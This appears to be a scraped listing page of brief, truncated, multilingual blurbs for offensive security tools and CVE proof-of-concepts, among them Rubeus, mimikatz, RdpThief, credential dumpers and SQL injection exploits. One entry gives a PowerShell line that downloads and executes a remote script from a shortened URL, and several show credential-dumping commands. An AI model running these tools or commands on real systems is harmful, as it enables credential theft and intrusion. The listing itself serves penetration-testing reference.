Rubeus

Rubeus Rubeus は、生の Kerberos 相互作用と悪用のための C ツールセットです。これは、Benjamin Delpy の Kekeo プロジェクト（CC BY-NC-SA 4.0 ライセンス）および Vincent LE TOUX の MakeMeEnterpriseAdmin プロジェクト（GPL v3.0 ライセンス）から大幅に 適応されています。武器化の難しい部分を解決した Benjamin と Vincent に全功績があります。彼らの先行研究がなければ、このプロジェクトは存在しませんでした。 Charlie Clark と Ceri Coburn...

NtDumpBOF

NtDumpBOF 工具 https://github.com/ricardojoserf/NativeDump 的 BOF 移植版，由 @ricardojoserf 编写。 导入 NtDump.cna 并运行： root@kitploit: ntdump minidump 文件将在内存中创建，并通过 CALLBACKFILE 和 CALLBACKFILEWRITE 下载。 下载完成后，文件将显示在 视图 - 下载 中。 随后可以使用 Mimikatz 解析该文件： root@kitploit: mimikatz sekurlsa::minidump mimikatz...

CVE-2023-27532

CVE-2023-27532 Veeam Backup and Replication को प्रभावित करने वाले CVE-2023-27532 के लिए POC तकनीकी विश्लेषण इस कमजोरी का तकनीकी मूल कारण विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive सारांश यह POC क्रेडेंशियल निकालने के लिए ...

CVE-2022-24707_AnukoTimeTracker_Version-1.20.0_POC

CVE-2022-24707 Anuko Time Tracker Exploit de Injeção SQL Uma ferramenta de avaliação de segurança que demonstra uma vulnerabilidade de injeção SQL no recurso puncher da versão 1.20.0 do Anuko Time Tracker. Esta ferramenta ajuda a fazer dump de todo o banco de dados ttusers e revela cada entrada...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

teamviewer-dumper

TeamViewer-ID und Passwort aus dem Speicher auslesen Getestet auf TeamViewer 13 aktuellste Version: Win10, Win8.1, Win7x64, Win7x32 Installation: root@kitploit: pip3 install frida Du kannst es einfach ausführen oder als eigenständige Binärdatei kompilieren: pyinstaller .\tv-dumper.py --onefile...

RdpThief

RdpThief RdpThief ist eine eigenständige DLL, die, wenn sie in den mstsc.exe-Prozess injiziert wird, API-Hooking durchführt, die Klartext-Anmeldeinformationen extrahiert und in einer Datei speichert. Ein Aggressor-Skript begleitet es, das für die Verwaltung des Zustands, die Überwachung auf neue...

aggrokatz

aggrokatz Was ist das? aggrokatz ist eine Aggressor-Plugin-Erweiterung für CobaltStrike, die es pypykatz ermöglicht, aus der Ferne mit den Beacons zu interagieren. Die aktuelle Version von aggrokatz ermöglicht es pypykatz, LSASS-Dump-Dateien und Registry-Hive-Dateien zu parsen, um...

mysqli

MySQLi.py - SQL Injection cieca basata sul tempo per MySQL MySQLi.py è un progetto personale di pratica, ispirato all'exploit 46635 di Exploit-DB, usato durante la stanza SimpleCTF su TryHackMe. Ciò che ha attirato la mia attenzione nell'exploit originale è stata la sua capacità di estrarre le...

ranger

ranger Ein Werkzeug zur Unterstützung von Sicherheitsexperten beim Zugriff auf und der Interaktion mit entfernten Microsoft Windows-basierten Systemen. Dieses Projekt wurde mit dem Gedanken konzipiert, dass wir weder den Bogen noch den Pfeil erfunden haben, sondern nur eine effizientere Art der...

Internal-Monologue

Attacco Internal Monologue: Recupero degli Hash NTLM senza Toccando LSASS Introduzione Mimikatz, sviluppato da Benjamin Delpy @gentilkiwi, è uno strumento di post-exploitation ben noto, che consente agli avversari di estrarre password in testo chiaro, hash NTLM e ticket Kerberos dalla memoria,...

mimikatz

mimikatz mimikatz è uno strumento che ho creato per imparare il C e fare alcuni esperimenti con la sicurezza di Windows. È ora ben noto per estrarre password in chiaro, hash, codici PIN e ticket Kerberos dalla memoria. mimikatz può anche eseguire pass-the-hash, pass-the-ticket o creare Golden...

SharpDPAPI

SharpDPAPI SharpDPAPI è un port in C di alcune funzionalità DPAPI dal progetto Mimikatz di @gentilkiwi. Non ho ideato questa logica, si tratta semplicemente di un port da Mimikatz per comprendere meglio il processo e renderlo operativo per adattarlo al nostro flusso di lavoro. Il sottoprogetto...

CVE-2017-7921

Hikvision Kamera-Listener & Snapshot-Tool Eigenständiges Tool zum Auflisten von Hikvision-Kameras aus einer Datei und zum Erstellen eines Snapshots von jeder Kamera unter Verwendung gültiger Anmeldedaten HTTP Basic- oder Digest-Auth oder des CVE-Auth-Bypass. Gedacht zum Ausführen auf einem andere...

VULNERAVEL-CVE-2018-14847---CREDENCIAIS-EXTRAIDAS

Strumenti di Pentest — /rede Repository di script per audit e test di penetrazione sulle reti. Utilizzare solo su dispositivi con autorizzazione formale. CVE-2018-14847 — MikroTik Winbox Credential Extractor Descrizione Sfrutta la vulnerabilità di lettura file non autenticata nel servizio Winbox ...

mimikittenz

mimikittenz mimikittenz è uno strumento powershell di post-exploitation che utilizza la funzione Windows ReadProcessMemory per estrarre password in testo chiaro da vari processi target. mimikittenz può anche estrarre facilmente altri tipi di informazioni interessanti dai processi target utilizzan...

CVE-2023-26258-ArcServe

Das TL; DR; Wenn du im Netzwerk bist, kannst du mit ArcServeRadar.py nach standardmäßig konfigurierten Instanzen scannen. Ich habe versucht, es nach C zu portieren, aber es nicht geschafft – wenn du weißt, wie es geht, kannst du das gerne tun : root@kitploit: c:\Users\vagrant\Desktoppython...

ADSyncDump-BOF

ADSyncDump BOF Das ADSyncDump-BOF ist ein Port von Dirkjan Mollemas adconnectdump.py / ADSyncDecrypt in eine Beacon Object File BOF für die Verwendung mit Cobalt Strike, Sliver und Havoc. !NOTE Das Tool wurde auf einem Windows Server 2019 mit Azure AD Connect Version 2.2.1.0 getestet. Die...

CVE-2022-0739

CVE-2022-0739 Proof-of-Concept Exploit SQLI BookingPress vor 1.0.11 Verwendung Geben Sie die URL an, unter der das Booking Press Plugin in der Anwendung verwendet wird. bash exploit.sh '' z.B. Hashes wurden in dieser Demo geschwärzt root@kitploit: ┌──user@user-/ └─$ bash sqliexploit.sh...

CVE-2026-27470

⚠️ YASAL UYARI / LEGAL DISCLAIMER Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara...